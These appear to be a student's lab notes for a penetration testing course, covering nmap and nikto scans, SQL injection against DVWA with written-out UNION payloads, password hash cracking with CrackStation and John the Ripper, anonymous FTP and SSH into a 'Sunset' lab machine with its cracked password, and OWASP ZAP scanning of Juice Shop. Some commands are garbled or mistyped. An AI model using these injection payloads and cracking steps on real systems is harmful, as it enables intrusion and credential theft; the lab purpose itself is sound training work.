2) Vulnerability Scanning & Assesment

Kali Linux

→ sudo su Δ
→ Pwd for kali : kali
→ juice-shop. — Δ
→ open the click on URL (http://127.0.0.1:42000) which comes after juice-shop
→ eyes opened on firefox
→ opened There copy upto http://127.0.0.1:42000/
→ paste in kali with Command
→ nikto -h . http://127.0.0.1:42000/ Δ

1) Vulnerability assessment penetration testing laboratory

→ open cmd prompt
→ ipconfig Δ
→ Note down your IPv4 address & Subnet mask
→ Discover live hosts ins network :
nmap -sn 192.168.1.0/24 * Δ
→ Choose live host IP and perform detailed scan :
nmap -sS -sV -O 192168. IPaddress from above host

(or)

nmap -A IPaddress
→ we get :

IPaddress	mac address	OS guests	openports	services

→ amass enum -d juice-shop.herokuapp.com.
→ note IPs, ASN, & hosting provider details
→ Fill

Domain name	IP address	Hosting provider	ASN.

4) SQL injection Attacks on web applications

6) password cracking & credential harvesting

→ open firefox
→ search DVWA.
→ Click on 1st github → open → copy the bash Command (sudo bash)
→ paste it in terminal → Enter
→ DVWA is installed. → Yes → Enter SQL user : just click enter button on keyboard → Enter SQL pwd : Enter
→ enter
→ go back to firefox. → 127.0.0.1/DVWA/
→ DVWA login page will open there give
username : admin.
password : password
↓
Login

→ After opening DVWA.
→ Click on "DVWA Security" → set Impossible to Low
User Id: %' and 1=0 ← SQL injection ← Submit
↓ click on that → Submit → we get pwd
→ copy the pwd under admin.
→ In firefox : search crackstation → click on 1st link
Click crackhashes ← Check I'm not robot ← paste the pwd
↓ we get cracked pwd.

| DVWA Security & SQL injection will be in side menu bar.

→ This is both 4th & 6th program
→ %' and 1=0 union select null, table_name from information_schema.tables#

Another way for 6th: kali linux

→ nano p4.txt.
→ paste the above pwd.
→ Ctrl + O + Enter
→ Ctrl + x.
→ john p4.txt

3) Exploiting a known Vulnerability.

attacking machine → vulnerable machine.

→ Kali linux & Sunset => Start both virtual machines

→ Open Kali terminal & run:

`netdiscover` Δ

→ Identify IP address of target machine => look for hostname like PCS system. note down the IP

→ To identify open ports & services running on target machine

Run:

`nmap -A -p- IP.` Δ.

→ Confirm if Port 21 (FTP) & 22 (SSH) are open.

Port	State	Service	Version
21/tcp	open	ftp	vsftpd 2.3.4
22/tcp	open	ssh	OpenSSH 4.7p1 Debian

NMap Scan Report for sunset.in (IP)

(1)

→ Connect to FTP service:

`ftp IP` Δ

→ username: anonymous ; Password: just Enter.

→ List files on server: `ls` Δ

→ Download a file: `get backup` Δ ⇒ After: `cat backup` Δ

→ Exit FTP: `exit` Δ

→ Cracking Credentials with john the Ripper.

→ Make sure you are in the same directory as sunset.txt for this do `ls` u shld see backup sunset.txt.

→ Run:

`john sunset.txt` Δ

→ To view cracked pwd.

`john --show sunset.txt` Δ

Note: username : sunset, pwd: cheer14

→ Sunset login:

1) use SSH to login.

`SSH sunset@IP` → from netdiscover

2) pwd: Cheer14.

After cat backup look for line similar to

(sunset: 6ald2hold1)

↓

Copy this line

↓

Create a txt file called sunset.txt & paste it there

(or) do

`nano sunset.txt`

paste one each. & (Save) with (Ctrl+O) then (Enter) & (Exit) with (Ctrl+X)

(2) FTP access

Command	o/p
ftp <IP>	connected
ls	backup
get backup	file downloaded

(3) password cracking:

Tool used	i/p file	cracked pwd
John the ripper	sunset.txt	Cheer14.

9). Preparation: Installing OWASP ZAP on Kali Linux

1. **Download ZAP:**
    - Go to https://www.zaproxy.com
    - Download the Linux installer.
2. **Install ZAP:**
    - Open Terminal.
    - Navigate to Downloads:
      `cd Downloads`
    - Make the installer executable:
      `chmod o+x <filename>`
    - Run the installer:
      `./<filename>`
    - Follow the installation prompts.

🚀 Running the Penetration Test

Step 1: Launch OWASP ZAP

- Run `zaproxy` in terminal or open from Kali Applications Menu.

Step 2: Start a New Session

- When prompted, either:
    - Click **Start a new session**, or
    - Click **No** when asked to persist the session.

Step 3: Initiate an Automated Scan

- Go to **Quick Start** tab.
- In the URL box, enter: `http://juice-shop.herokuapp.com`
- Click **Attack**.

Step 4: Monitor the Scan

- ZAP will first **spider** (crawl) the site, then perform **active scanning**.
- Watch the status bar for progress.

Step 5: Analyze Results

- Go to the **Alerts tab**.
- You'll see a list of vulnerabilities like:
    - **XSS (Cross-Site Scripting)**
    - **SQL Injection**
    - **Broken Authentication**
    - **Insecure Direct Object References (IDOR)**

Step 6: Investigate and Document Findings

- Double-click on each alert for:
    - A detailed description.
    - Evidence of the vulnerability.
    - Suggested remediation steps.